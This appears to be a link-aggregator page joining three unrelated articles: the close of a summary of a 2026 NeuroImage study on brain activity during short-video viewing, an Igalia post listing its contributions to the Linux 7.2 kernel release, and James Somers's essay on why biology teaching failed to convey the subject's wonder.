The authors connect their results to prior work on “flow” states associated with other immersive media, such as films and video games, which similarly show reduced prefrontal monitoring during periods of absorbed attention. For the connectivity findings, the researchers propose that stronger dACC-dlPFC coupling during liked videos may reflect shared modulation of both regions, potentially via input from the amygdala, rather than the heightened conflict-driven engagement that typically accompanies increased connectivity in cognitive control tasks. They frame this as a departure from the classical view that tighter dACC-dlPFC coupling always signals more active cognitive control.
The authors list several limitations directly in the paper. They did not measure neurotransmitter concentrations in the dlPFC itself, only in the dACC, which limits conclusions about that region’s neurochemistry. The study did not test whether amygdala activity causally drives the deactivation it observed, despite proposing that link as an explanation. Participants’ habitual or problematic short-video use was not formally assessed with a validated addiction scale, so the findings cannot be tied to compulsive use patterns. Videos were classified as liked or disliked based only on whether participants watched them to completion, which the authors acknowledge does not fully separate genuine preference from curiosity or other factors. The study also does not address whether repeated deactivation of these regions carries any longer-term effect on cognitive function, since it captured only a single session. Finally, the sample consisted of young, healthy adults with more men than women, and the authors note that documented sex differences in glutamate and GABA metabolism mean the results may not generalize to other age groups or populations. Because the design was correlational, the paper does not establish whether glutamate levels cause the observed differences in brain activity or simply track alongside them.
Reference:
Hong, T., Su, C., Zhou, H., Geng, F., & Hu, Y. (2026). Brain activity inhibition during short video viewing: Neurochemical insights. NeuroImage, 327, 121722. https://doi.org/10.1016/j.neuroimage.2026.121722




Original: https://www.rathbiotaclan.com/tiktok-videos-deactivate-key-cognitive-brain-regions/ · Discussion
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Linux 7.2 was tagged and released this week, on the regular schedule.


This cycle was one of the busiest ever, only been beaten by 6.7. This is considered the “new normal”, given that the last 3 or 4 cycles had been pretty busy, especially regarding fixes. There’s some interesting achievements this cycle, like cache-aware scheduling, improvements on MGLRU, the concept of sub-schedulers for sched_ext (a good introduction on the topic by LWN), automatic creation of multi-size transparent hugepages (also a good intro on LWN ) and more - check the LWN articles (part 1 and part 2) for the full picture.


Igalia as usual had a good share of contributions, mainly the DRM scheduler fair policy, which had a regression reported at the 11th hour (see below), hence is present as opt-in. Other than that, we landed very nifty runtime power management for GPUs in the Raspberry Pi 4 and 5, improvements in sched_ext, futex, and general bugfixing.  Let’s review the highlights!


Igalia Changelog


DRM scheduler fair policy


For this release cycle we planned to land and enable the DRM scheduler fair policy which brings significant improvements in scenarios where multiple clients are sharing the GPU, and also when a light interactive client competes for the GPU with a demanding one. Unfortunately, due a last-minute regression report during the 7.2-rc7 week, the default policy will remain the old first-in/first-out (FIFO) scheduler. As the fix for the fair policy regression is already known and early testing looks promising, we are hopeful it will get re-enabled in a next kernel release.


sched_ext


We improved sched-ext observability to simplify debugging. When a custom sched-ext scheduler hits a runtime error – such as failing to schedule a task for over 30 seconds – the kernel ejects it and reverts to the default scheduler. To help diagnose these failures, the kernel dumps the status of each CPU. However, especially on high-core systems, these dumps can be truncated due to buffer size limits between kernel space and user space. We mitigated this by prioritizing the exit CPU (the CPU that triggered the error) so it is dumped first, while also surfacing its CPU ID directly to BPF schedulers and userspace tools.


Power Management to Raspberry Pi GPUs and more


In this release, we landed support for Runtime Power Management on the Raspberry Pi 4 and 5 GPUs.


Until now, the V3D driver had a very simple power model: the GPU clock was enabled during probe and remained enabled for the entire lifetime of the driver. Although this approach was simple and functional, it meant that an idle GPU would still consume power even when it was not actively executing jobs.


With Runtime PM, the GPU is powered only when it is actually processing work, and its clock can be disabled while the GPU is idle. This reduces power consumption when the Raspberry Pi is not using the GPU. We wrote a blog post about this feature with more details and some power measurements.


We also fixed two long-standing bugs in the Raspberry Pi 3 GPU driver that had been affecting RetroPie users for years, causing random GPU hangs and complete system crashes. The problems were traced to how the kernel handled tile memory when the GPU ran out of space while processing a frame. Our fixes ensure that each graphics job only writes to its own memory area and that reused memory is properly cleared before being used again, preventing stale or corrupted data from reaching the GPU. With these fixes, RetroPie users should no longer experience the crashes that could occur while navigating the menus.


Finally, we landed several fixes for GPU resets on Raspberry Pi 4 and 5, making the reset process more reliable and consistent.


Futex tests and documentation


We continue to work to improve and maintain futex(), an important system call used by all types of workloads to create synchronization mechanisms. In this cycle, we helped to design and land a solution for a 14 year old bug that has been affecting the robust list mechanism with data corruption in some edge cases.


General bugfixing


We have fixed a long-standing issue in the ueagle-atm driver, which could hit a race condition between kernfs create and remove operations during device probe and disconnect, through the request_firmware API, and generated several bug reports in syzbot over the years.


We helped to improve the correctness of the inline-assembly implementation of memcmp() used during x86 boot, preventing subtle potential bugs due to compiler optimization and instruction reordering.


Towards full HDMI 2.1 support


Part of the HDMI 2.1 Fixed Rate Link (FRL) support released in this version dates back to the work of Rodrigo Siqueira from Igalia during his time at AMD. This work implements the initial support that allows the amdgpu driver to communicate with HDMI 2.1 monitors (primarily the FRL implementation). This implementation was outside the main code for several years before being incorporated into the source code, with some parts kept virtually as originally written and others reworked throughout the process. At Igalia, we have experience with various DRM/KMS drivers, and this hands-on experience with HDMI 2.1 features complements the knowledge necessary for vendors to enable cutting-edge features to their own drivers.





Authored (82)

André Almeida


  	Documentation: futex: Add a note about robust list race condition

  	selftests: futex: Add tests for robust release operations




Changwoo Min


  	sched_ext: Extract scx_dump_cpu() from scx_dump_state()

  	sched_ext: Dump the exit CPU first

  	sched_ext: Expose exit_cpu to BPF and userspace




Helen Koike


  	fs/ntfs3: call _ntfs_bad_inode() when failing to rename

  	tipc: fix infinite loop in __tipc_nl_compat_dumpit




John Harrison


  	drm/connector/hdmi: Fix out of bounds memory read




Jose Maria Casanova Crespo


  	drm/vc4: Supply the overflow slot size in BPOS, not the whole bin BO size




Mauricio Faria de Oliveira


  	usb: atm: ueagle-atm: use dev_dbg() for ‘device found’ message

  	usb: atm: ueagle-atm: remove function entry/exit debug messages

  	usb: atm: ueagle-atm: wait for pre-firmware load in .disconnect()

  	x86/boot: Add volatile, clobbers and zero-length test in memcmp()




Maíra Canal


  	drm/vc4: Use devm_request_irq() for automatic cleanup

  	drm/vc4: Clean-up UAPI header inclusion

  	drm/v3d: Use devm_reset_control_get_optional_exclusive()

  	drm/v3d: Allocate all resources before enabling the clock

  	drm/v3d: Introduce Runtime Power Management

  	drm/connector: Make drm_connector_attach_hdr_output_metadata_property() return void

  	drm/v3d: Flush MMU TLB and cache during runtime resume

  	drm/v3d: Clean caches before runtime suspend

  	drm/v3d: Reject invalid indirect BO handle in indirect CSD setup

  	drm/v3d: Reach the GMP through the hub registers on V3D 7.x

  	drm/v3d: Idle AXI transactions before disabling the clock on suspend

  	drm/vc4: Zero the tile state data array before each BIN job

  	drm/v3d: Serialize the scheduler timeout handlers




Thadeu Lima de Souza Cascardo


  	drm/amdgpu: initialize irq.lock spinlock earlier




Tvrtko Ursulin


  	dma-fence: Fix potential tracepoint null pointer dereferences

  	drm/sched: Disallow initializing entities with no schedulers

  	drm/sched: Consolidate entity run queue management

  	drm/sched: Move run queue related code into a separate file

  	drm/sched: Add some scheduling quality unit tests

  	drm/sched: Add some more scheduling quality unit tests

  	drm/sched: Implement RR via FIFO

  	drm/sched: Free all finished jobs at once

  	drm/sched: Account entity GPU time

  	drm/sched: Remove idle entity from tree

  	drm/sched: Add fair scheduling policy

  	drm/sched: Favour interactive clients slightly

  	drm/sched: Switch default policy to fair

  	drm/sched: Remove FIFO and RR and simplify to a single run queue

  	drm/sched: Embed run queue singleton into the scheduler

  	accel/amdxdna: Remove drm_sched_init_args->num_rqs usage

  	accel/rocket: Remove drm_sched_init_args->num_rqs usage

  	accel/ethosu: Remove drm_sched_init_args->num_rqs usage

  	drm/amdgpu: Remove drm_sched_init_args->num_rqs usage

  	drm/etnaviv: Remove drm_sched_init_args->num_rqs usage

  	drm/imagination: Remove drm_sched_init_args->num_rqs usage

  	drm/lima: Remove drm_sched_init_args->num_rqs usage

  	drm/msm: Remove drm_sched_init_args->num_rqs usage

  	drm/nouveau: Remove drm_sched_init_args->num_rqs usage

  	drm/panfrost: Remove drm_sched_init_args->num_rqs usage

  	drm/panthor: Remove drm_sched_init_args->num_rqs usage

  	drm/sched: Remove drm_sched_init_args->num_rqs usage

  	drm/v3d: Remove drm_sched_init_args->num_rqs usage

  	drm/xe: Remove drm_sched_init_args->num_rqs usage

  	drm/sched: Remove drm_sched_init_args->num_rqs

  	drm/xe/xelp: Fix Wa_18022495364

  	drm/xe: Use fb cached min alignment

  	drm/xe: Assign queue name in time for drm_sched_init

  	drm/sched: Fix clang build warning in kunit tests

  	amd/amdkfd: Fix profiler lock init order

  	drm/amdgpu: Fix context pstate override handling

  	Revert “drm/sched: Remove drm_sched_init_args->num_rqs”

  	Revert “drm/xe: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/v3d: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/sched: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/panthor: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/panfrost: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/nouveau: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/msm: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/lima: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/imagination: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/etnaviv: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/amdgpu: Remove drm_sched_init_args->num_rqs usage”

  	Revert “accel/ethosu: Remove drm_sched_init_args->num_rqs usage”

  	Revert “accel/rocket: Remove drm_sched_init_args->num_rqs usage”

  	Revert “accel/amdxdna: Remove drm_sched_init_args->num_rqs usage”

  	Revert “drm/sched: Embed run queue singleton into the scheduler”

  	Revert “drm/sched: Remove FIFO and RR and simplify to a single run queue”

  	Revert “drm/sched: Switch default policy to fair”

  	drm/sched: Mark fair policy as experimental




Reviewed (74)

André Almeida


  	futex: Move futex task related data into a struct

  	futex: Provide UABI defines for robust list entry modifiers

  	uaccess: Provide unsafe_atomic_store_release_user()

  	x86: Select ARCH_MEMORY_ORDER_TSO

  	futex: Cleanup UAPI defines

  	futex: Add support for unlocking robust futexes

  	futex: Add robust futex unlock IP range

  	futex: Provide infrastructure to plug the non contended robust futex unlock race

  	x86/vdso: Prepare for robust futex unlock support

  	x86/vdso: Implement __vdso_futex_robust_try_unlock()

  	mailmap: Update Maíra Canal’s email address




Changwoo Min


  	sched_ext: Add ext_types.h for early subsystem-wide defs

  	sched_ext: Rename ops_cpu_valid() to scx_cpu_valid() and expose it

  	sched_ext: Move scx_exit(), scx_error() and friends to ext_internal.h

  	sched_ext: Shift scx_kick_cpu() validity check to scx_bpf_kick_cpu()

  	sched_ext: Relocate cpu_acquire/cpu_release to end of struct sched_ext_ops

  	sched_ext: Make scx_enable() take scx_enable_cmd

  	sched_ext: Add topological CPU IDs (cids)

  	sched_ext: Add scx_bpf_cid_override() kfunc

  	tools/sched_ext: Add struct_size() helpers to common.bpf.h

  	sched_ext: Add cmask, a base-windowed bitmap over cid space

  	sched_ext: Add cid-form kfunc wrappers alongside cpu-form

  	sched_ext: Add bpf_sched_ext_ops_cid struct_ops type

  	sched_ext: Forbid cpu-form kfuncs from cid-form schedulers

  	tools/sched_ext: scx_qmap: Restart on hotplug instead of cpu_online/offline

  	tools/sched_ext: scx_qmap: Add cmask-based idle tracking and cid-based idle pick

  	tools/sched_ext: scx_qmap: Port to cid-form struct_ops

  	sched_ext: Require cid-form struct_ops for sub-sched support




Christian Gmeiner


  	drm/etnaviv: Remove drm_sched_init_args->num_rqs usage




Iago Toral Quiroga


  	drm/v3d: Flush MMU TLB and cache during runtime resume

  	drm/v3d: Clean caches before runtime suspend

  	drm/v3d: Reject invalid indirect BO handle in indirect CSD setup

  	drm/v3d: Reach the GMP through the hub registers on V3D 7.x

  	drm/v3d: Idle AXI transactions before disabling the clock on suspend

  	drm/vc4: Supply the overflow slot size in BPOS, not the whole bin BO size

  	drm/vc4: Zero the tile state data array before each BIN job

  	drm/v3d: Serialize the scheduler timeout handlers




Luis Henriques


  	fuse: invalidate readdir cache on epoch bump

  	fs: preserve ACL_DONT_CACHE state in forget_cached_acl()




Maíra Canal


  	drm/vc4: Prevent shader BO mappings from becoming writable

  	drm/vc4: hvs/v3d: Fix null dereference in unbind

  	drm/vc4: Shut down BO cache timer before teardown

  	drm/vc4: Supply the overflow slot size in BPOS, not the whole bin BO size




Melissa Wen


  	drm/vc4: Use devm_request_irq() for automatic cleanup

  	drm/vc4: Clean-up UAPI header inclusion

  	drm/v3d: Use devm_reset_control_get_optional_exclusive()

  	drm/v3d: Allocate all resources before enabling the clock

  	drm/v3d: Introduce Runtime Power Management

  	drm/connector: Make drm_connector_attach_hdr_output_metadata_property() return void

  	drm/amd/display: Delete unimplemented dm_pp_apply_power_level_change_request() (v2)

  	drm/amd/display: Delete dce_get_required_clocks_state()

  	drm/amd/display: Remove min/max clock levels from clk_mgr (v2)

  	drm/amd/display: Delete max_clocks_state

  	drm/amd/display: Set max supported display clock without max_clks_by_state (v2)

  	drm/amd/display: Delete max_clks_by_state from DCE clock manager (v2)

  	drm/amd/display: Delete disp_clk_voltage from integrated info (v2)

  	drm/amd/display: Delete dm_pp_clocks_state

  	drm/amd/pm: Delete unused get_display_power_level() function

  	drm/amd/pm: Delete dummy get_dal_power_level implementations

  	drm/amd/pm: Delete non-functional SMU8 get_dal_power_level implementation

  	drm/amd/pm: Delete vddc_dep_on_dal_pwrl

  	drm/amd/pm: Delete get_dal_power_level

  	drm/amd/pm: Delete PP_DAL_POWERLEVEL

  	drm/amd/display: Fix mem_type change detection for async flips

  	drm: Guard DRM_CLIENT_CAP_PLANE_COLOR_PIPELINE

  	drm/amd/display: Fix NULL pointer dereference in amdgpu_dm_crtc_set_vblank()




Tvrtko Ursulin


  	drm/i915/gem: Drop check for changed VM in EXECBUF

  	dma-buf/dma_fence_array: remove unused functionality v4

  	Revert “i915: don’t use a vma that didn’t match the context VM”

  	drm/amdgpu: initialize irq.lock spinlock earlier

  	amdgpu/ih6.1: Fix minor version

  	drm/amdgpu: Use system unbound workqueue for soft IH ring

  	drm/i915/gem: Add missing nospec on parallel submit slot

  	drm/xe/guc: Keep scheduler timeline name alive




Acked (13)

Maíra Canal


  	drm: Suppress intentional warning backtraces in scaling unit tests




Melissa Wen


  	drm/v3d: Remove drm_sched_init_args->num_rqs usage




Thadeu Lima de Souza Cascardo


  	platform/x86: classmate-laptop: Address memory leaks on driver removal

  	platform/x86: classmate-laptop: Unify probe rollback and remove code

  	platform/x86: classmate-laptop: Pass struct device pointer to helpers

  	platform/x86: classmate-laptop: Rename two helper functions

  	platform/x86: classmate-laptop: Register ACPI notify handlers directly

  	platform/x86: classmate-laptop: Convert v4 accel driver to a platform one

  	platform/x86: classmate-laptop: Convert accel driver to a platform one

  	platform/x86: classmate-laptop: Convert tablet driver to a platform one

  	platform/x86: classmate-laptop: Convert ipml driver to a platform one

  	platform/x86: classmate-laptop: Convert keys driver to a platform one




Tvrtko Ursulin


  	Revert “drm/i915: replace select with dependency for visible DEBUG_OBJECTS”




Maintainer SoB (5)

Christian Gmeiner


  	drm/etnaviv: use kzalloc_flex




Maíra Canal


  	drm/vc4: Prevent shader BO mappings from becoming writable

  	drm/vc4: hvs/v3d: Fix null dereference in unbind

  	drm/vc4: Shut down BO cache timer before teardown

  	drm/vc4: Supply the overflow slot size in BPOS, not the whole bin BO size





        



Original: https://www.igalia.com/2026/08/19/Linux-72-Released.html · Discussion
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I should have loved biology (2020)

jsomers.net · 139 points · Discussion



By James Somers

I should have loved biology but I found it to be a lifeless recitation of names: the Golgi apparatus and the Krebs cycle; mitosis, meiosis; DNA, RNA, mRNA, tRNA.

In the textbooks, astonishing facts were presented without astonishment. Someone probably told me that every cell in my body has the same DNA. But no one shook me by the shoulders, saying how crazy that was. I needed Lewis Thomas, who wrote in The Medusa and the Snail:


For the real amazement, if you wish to be amazed, is this process. You start out as a single cell derived from the coupling of a sperm and an egg; this divides in two, then four, then eight, and so on, and at a certain stage there emerges a single cell which has as all its progeny the human brain. The mere existence of such a cell should be one of the great astonishments of the earth. People ought to be walking around all day, all through their waking hours calling to each other in endless wonderment, talking of nothing except that cell.



I wish my high school biology teacher had asked the class how an embryo could possibly differentiate—and then paused to let us really think about it. The whole subject is in the answer to that question. A chemical gradient in the embryonic fluid is enough of a signal to slightly alter the gene expression program of some cells, not others; now the embryo knows “up” from “down”; cells at one end begin producing different proteins than cells at the other, and these, in turn, release more refined chemical signals; ...; soon, you have brain cells and foot cells.

How come we memorized chemical formulas but didn’t talk about that? It was only in college, when I read Douglas Hofstadter’s Gödel, Escher, Bach, that I came to understand cells as recursively self-modifying programs. The language alone was evocative. It suggested that the embryo—DNA making RNA, RNA making protein, protein regulating the transcription of DNA into RNA—was like a small Lisp program, with macros begetting macros begetting macros, the source code containing within it all of the instructions required for life on Earth. Could anything more interesting be imagined?

Someone should have said this to me:


Imagine a flashy spaceship lands in your backyard. The door opens and you are invited to investigate everything to see what you can learn. The technology is clearly millions of years beyond what we can make.

This is biology.

–Bert Hubert, “Our Amazing Immune System”



In biology class, biology wasn’t presented as a quest for the secrets of life. The textbooks wrung out the questing. We were nowhere acquainted with real biologists, the real questions they had, the real experiments they did to answer them. We were just given their conclusions.



The Roche Biochemical Pathways Poster



Plans for an alien machine, in Contact

For instance I never learned that a man named Oswald Avery, in the 1940s, puzzled over two cultures of Streptococcus bacteria. One had a rough texture when grown in a dish; the other was smooth, and glistened. Avery noticed that when he mixed the smooth strain with the rough strain, every generation after was smooth, too. Heredity in a dish. What made it work? This was one of the most exciting mysteries of the time—in fact of all time.

Most experts thought that protein was somehow responsible, that traits were encoded soupily, via differing concentrations of chemicals. Avery suspected a role for nucleic acid. So, he did an experiment, one we could have replicated on our benches in school. Using just a centrifuge, water, detergent, and acid, he purified nucleic acid from his smooth strep culture. Precipitated with alcohol, it became fibrous. He added a tiny bit of it to the rough culture, and lo, that culture became smooth in the following generations. This fibrous stuff, then, was “the transforming principle”—the long-sought agent of heredity. Avery’s experiment set off a frenzy of work that, a decade later, ended in the discovery of the double helix.

In his “Mathematician’s Lament,” Paul Lockhart describes how school cheapens mathematics by robbing us of the questions. We’re not just asked, hey, how much of the triangle takes up the box?



That’s a puzzle we might delight in. (If you drop a vertical from the top of the triangle, you end up with two rectangles cut in half; you discover that the area inside the triangle is equal to the area outside.) Instead, we’re told that if you ever find yourself wanting the area of a triangle, here’s the procedure:



Biology is like that, but worse because it’s a messier subject. The facts seem extra arbitrary. We’re told to distinguish “lipid bilayers” from “endoplasmic reticula” without understanding why we care about either in the first place.

Enormous subjects are best approached in thin, deep slices. I discovered this when first learning how to program. The textbooks never worked; it all only started to click when I started to do little projects for myself. The project wasn’t just motivation but an organizing principle, a magnet to arrange the random iron filings I picked up along the way. I’d care to learn about some abstract concept, like “memoization,” because I needed it to solve my problem; and these concepts would lose their abstractness in the light of my example.

Biology is no different. Learning begins with questions. How do embryos differentiate? Why are my eyes blue? How does a hamster turn cheese into muscle? Why does the coronavirus make some people much sicker than others?

*

A few months ago, I started a magazine assignment to answer some questions about SARS-CoV-2 and the immune system. I encountered paragraphs like this:


  
In low-MOI infections (MOI, 0.2), exogenous expression of ACE2 enabled SARS-CoV-2 to replicate and comprise ~54% of the total reads mapping more than 300x coverage across the ~30-kb genome (Figures 1A and 1B). Western blot analyses corroborated these RNA-seq data… It is noteworthy that, despite this dramatic increase in viral load, we observed neither activation of TBK1, the kinase responsible for IFN-I and IFN-III expression, nor induction of STAT1 and MX1, IFN-I-stimulated genes (Figure S1A; Sharma et al., 2003)…

–“Imbalanced Host Response to SARS-CoV-2 Drives Development of COVID-19,” Cell



It was hard to get through a sentence without having to consult Wikipedia. In immunology in particular the nomenclature is expansive. One sentence might refer to “leukocytes,” the next to monocytes, the next to lymphocytes. There are a lot of squares-and-rectangles situations: all interleukins are cytokines, but not all cytokines are interleukins?

I’ve never come across a subject so fractal in its complexity. It reminds me of computing that way. A day of programming might involve constructing an elaborate regular expression, investigating a file descriptor leak, debugging a race condition in the application you just wrote, and thinking through the interface of a module. Everywhere you look—the compiler, the shell, the CPU, the DOM—is an abstraction hiding lifetimes of work. Biology is like this, just much, much worse, because living systems aren’t intentionally designed. It’s all a big slop of global mutable state. Control is achieved by upregulating this thing while turning down the promoter of that thing’s repressor. You think you know how  something works—like when I thought I had a handle on the neutrophil, an important front-line player in the innate immune system—only to learn that it comes in several flavors, and more are still being discovered, and some of them seem to do the opposite of the ones you thought you knew. Everything in biology is like this. It’s all exceptions to the rule.

But biology, like computing, has a bottom, and the bottom is not abstract. It’s physical. It’s shapes bumping into each other. In fact the great revelation of twentieth-century molecular biology was the coupling of structure to function. An aperiodic crystal that forms paired helices is the natural store of heredity because of its ability to curl up and unwind and double itself with complements. Hemoglobin, the first protein studied in full crystallographic detail, was shown to be an efficient store of energy because of how oxygen atoms snap into its body like Legos, each snap widening the remaining slots, so that it loads itself up practically at a gulp. Most proteins are like this. The ones that drive locomotion twist like little motors; the ones that contract muscles climb and compress each other. Cells, too, are constantly in conversation, and the language they speak is shape. It’s keys entering locks: a protein might straddle the cell membrane, and when a cytokine (that’s a kind of signaling molecule) docks with it, it changes its shape, so that its grip loosens on some other molecule on the interior side of the membrane, as though fumbling a football—that football might be a signal itself, on its way to the nucleus.

I think my understanding of biology was too flow-charty in high school. I knew that DNA → RNA → protein and that this was called “gene expression,” but I was confused on the basics, like, how did genes actually “turn on”? And once they were on, were they on for good? It’s clearer when you think physically. Mammalian DNA isn’t laid out as one long double helix; it’s tightly coiled and coiled again, like this, around little circular proteins called histones:



DNA curled around histones. Image from this Moderna video, at 1:10

The structure of the resulting fiber has an effect on which genes are expressed. This is because the little molecular machine that transcribes DNA into RNA has to actually ride along the helix, and it can only ride along some parts of it, namely the parts that aren’t curled up out of sight. “Expressing” a gene just means that at a given moment, the machine is accessing a specific portion of DNA, resulting in lots of RNA transcripts, resulting in lots of the protein that the gene codes for. Kink the fiber a bit and you change what the machine can see, thus changing the distribution of proteins it produces. You have “reprogrammed” the cell. (There are many ways to control gene expression, maybe the most common being “repressors” that park somewhere on the DNA, physically blocking the transcription machinery.)

One of the workhorse techniques in modern biology, called RNA sequencing, or RNA-seq for short, takes a frozen cell and counts the RNA transcripts inside it. In effect you get a snapshot of all the proteins being expressed at that moment. The result is literally a big table mapping genes to transcript counts. You see that being one kind of cell versus another—or being in one kind of cellular mood versus another, say in health versus disease—is just a matter of having a different distribution across this table. RNA-seq results are often represented as vectors in high-dimensional space, the counts in the table forming the coordinates; cells move through this expression space as they self-regulate and adapt to their environment.

*

How do you develop a physical understanding of biology? I like pictures. One of my favorite books is called The Machinery of Life, by David Goodsell. It’s full of gorgeous hand-drawn illustrations. Here a bacterium’s flagellar motor is shown in context, then zoomed in on in an inset, with a third picture highlighting its functional elements:







What makes the book work is that it’s basically a re-introduction to molecular biology with the following premise: the cell is a very fast and crowded place, full of little machines, most of them protein, which you understand by taking a close look. It does an especially terrific job through insets like the above relating things at different scales. “Imagine your room filled with grains of rice. That will give you an idea of the billion or so cells that make up your fingertip.”

The writing is very good. It somehow gets you imagining the motion of these machines. It’s tempting when thinking about the cellular world to simply miniaturize our own; but at the cellular scale things behave weirdly. Movement is essentially by random diffusion. “The motions and the interactions of biological molecules are completely dominated by the surrounding water molecules… Inside the cell, [a] protein is battered from all sides by water molecules. It bounces back and forth, always at great speed, but takes a long time to get anywhere.”



It turns out that random diffusion is an incredibly slow way to travel large distances, but an incredibly fast way to explore at short distances. Being a protein inside a cell is like being at a crowded house party where it might take an hour to get across the room, but by the time you get there you’ve bumped into everybody six hundred thousand times.

This point is made beautifully in another favorite book of mine, A Computer Scientist’s Guide to Cell Biology, by William W. Cohen:


Molecules that come close to an organelle tend to remain close to it for a while, and brush against it many times—Figure 20 gives some intuitions as to why this is true.






The result of this is that if receptors for a protein p cover even a small fraction of the surface of an organelle, the organelle will be surprisingly efficient at recognizing p. As an example, if only 0.02% of a typical eukaryotic cell’s surface has a receptor for p, the cell will be about half as efficient as if the entire surface were coated with receptors for p.



This is the kind of fact that instantly clarifies how biology could possibly work. “Cell-sized objects thus have a ‘high bandwidth,’” Cohen writes. “They can recognize or absorb hundreds of different chemical signals, even if they are bounded by membranes.”

Cohen’s book is pitched as an attempt to distill what he learned in acquiring a “reading knowledge” of biology—enough to be able to follow along with a paper in Cell. He’s very good at explaining methods: how do biologists know what they know? For a computer scientist, a biologist’s methods can seem insane; the trouble comes from the fact that cells are too small, too numerous, too complex to analyze the way a programmer would, say in a step-by-step debugger. What biologists mostly do is stuff like:


	Spin things to 15,000 Gs in centrifuges to separate pieces having different densities.

	Separate things of different sizes using gels and magnets. (“Gel electrophoresis.”)

	Take one of those gels and blot it with special paper to splay the parts out. Then wash the paper with an antibody that binds to a specific protein. Finally, wash the paper with another antibody that binds to the first one, and fluoresces when it does so. See where the meta-antibody lights up—that’s the protein you were looking for. (I think I’m describing a “Western blot.”)

	Use the fluorescent antibody trick to tag cells expressing one or more proteins of interest. Then squeeze the cells through a tube so small that only one fits at a time. As each cell passes by, shine a laser through it to read its fluorescent tags, and use an electric charge to redirect it to a particular bin. Now you can sort and count cells that match your criteria. (“Flow cytometry.”)

	Genetically alter microorganisms to make molecular machines to spec; systematically turn off one gene at a time in a cell line and see what changes; edit the genome of a whole animal, and observe its life.



Cohen found, and I have too, that in trying to acquire a reading knowledge of biology it’s almost more useful to study the methods than any individual facts. That’s because the methods are highly conserved across studies. Everybody does Western blots. Everybody does flow cytometry and RNA-seq. You’ll see this stuff in every paper. (Or variations on the same themes: separation, sorting, selection, genetic manipulation.)

So that’s the foundation. Or almost: I have left for last my favorite resource of all, an incredible book called The Eighth Day of Creation: Makers of the Revolution in Biology, by Horace Freeland Judson. Parts of this book were serialized in the New Yorker in the 1970s. It is the Power Broker of biology, a tomic masterwork. It is not just comprehensive—Judson had hundreds of conversations with Francis Crick, with Jacques Monod and François Jacob, with their friends and spouses and colleagues; he read every paper, he read all their letters—but it pulls no punches scientifically. Judson always just describes the real thing.


And he emphasizes wrong turns. For example, before the discovery of tRNA—the adapter molecules that link triplets of RNA bases to the amino acids they code for—there was much confusion. It was widely believed that there had to be some kind of punctuation, because how else would one know where to start transcribing, or how to delimit one codon from the next? Certain mental models were ingrained: a going theory was that RNA formed specially shaped pockets for the different amino acids. The idea was that if you zoomed in on each triplet or quartet or whatever (the scheme was then unknown), it would always form the same unique shape that only one kind of amino acid could fit into. The amino acid chain would be formed right there alongside the RNA strand, using it almost as a mold. This was thought to happen in the nucleus. The idea that protein synthesis happened via an adapter, and that the nucleic acids therefore acted less like a mold than a digital code, more purely information—this was a major surprise.


  Sitting on the grass at Woods Hole, Crick was talking about genes and proteins, in particular about his assumption that they were colinear and Benzer and Brenner’s plan to show as much, when Ephrussi took him aback by asking how he knew that amino acids were not put in their primary sequence by something in the cytoplasm. . . . “I don’t think Boris necessarily believed it, but it was an idea he thought wasn’t impossible.”

  . . .

  Crick also cast his skeptical eye over Watson and Rich’s attempts to build models of RNA. “Of course, you realize that our ideas on that were totally wrong. We thought that RNA had some structure with the twenty cavities, it was that period. Mm-hmm. Unfortunately people have forgotten what it is we didn’t know at the time.”



Put another way, the book gives us a view of science before discovery. It is a practitioner’s view of the subject. It is the opposite of a textbook.


*


Trying to study the immune system has gotten me into a Bret Victor sort of mood, wondering what could be done, or built, to make understanding this subject easier. A few things come to mind:

There are some incredible YouTube explainers. Ninja Nerd Science’s videos on the immune system were a miracle—all delivered by a kid in grad school. He is a genius. What he does so well is what Goodsell, in that Machinery of Life book, does so well, what those famous “Inner Life of a Cell” 3D animations do so well: he helps you “see the unseeable.”




Ninja Nerd Lectures YouTube channel


But I wonder whether it should be easier for regular people to create useful illustrations. Consider how easy it is to write, tooling-wise: on the web, you are only ever one click away from a Markdown-enabled textarea that allows you to create and publish pretty, hyperlinked documents. Anyone with a keyboard can contribute a few sentences to Wikipedia or answer a question on Stack Exchange. Drawing, by contrast, is hard, and animating is at least an order of magnitude harder. And yet these media are essential for understanding biological processes.

So what do we do?

It’s telling that when I was recently on a Zoom with a PhD student who was explaining RNA-seq, he pulled out his iPad Pro and essentially made a Khan Academy lecture as he talked, drawing along the way. These tools need to become more common and cheaper.


But we also need more software like pattern brushes in Adobe Illustrator, BioRender, and CellPAINT to make it un-tedious to draw complex objects. We need more software like Molecular Maya, but simplified even further, à la Victor’s Stop Drawing Dead Fish, to make animating accessible to anyone who can gesture.




Quickly draw an endothelial lining with pattern brushes in Adobe Illustrator




Molecular Maya’s double-stranded DNA kit


Using vector graphics and Undo history, it should be possible to make collaboratively editable images, i.e., images that can be slowly improved as part of a knowledge project like Wikipedia or Stack Exchange.

I want to be able to take a screenshot of the whiteboard in a Ninja Nerd lecture—a big beautiful diagram of the players in the adaptive immune system—and lasso sections of it, linking to sub-diagrams, some filled in by me, some by others, illustrating each of the parts in turn. We should have big, collaboratively edited zoomable “maps”—hierarchical diagrams—that are easy to navigate, work in standard browsers, are embeddable in blog posts, and so on.

Of course we need to teach more people how to draw. It’s an underrated skill. And how to write vividly, as in the wonderful books above.

But biology is uniquely suited to simulation—it’s a world of machines that are too small to see. The trouble is, it requires too much specialized skill to create three-dimensional interactive simulations. We need a toolkit that’s like MockMechanics, or Minecraft, that maybe even is Minecraft, but focused on biology. Or something much better.




It’s no coincidence that Watson and Crick depended for their discovery on a literal physical model that was machined for them specially. Victor’s Dynamicland imagines an immersive collaborative space in which such models can be built—now that we have computers—as quickly as you can have a conversation.


This is exactly what I wanted as I was writing my immune system article. I wanted to conjure models I could play with in my hand. I wanted a museum where I could walk around inside the epithelium during an immune response. I wanted to put ideas into physical space, like on a pinboard—TLRs go here, with the other innate armament; CD4+ T cells are there, in the adaptive world—but I wanted it to be as searchable, copy-pasteable, shareable, and composable as text.




Bret Victor’s vision of dynamic tools for thinking


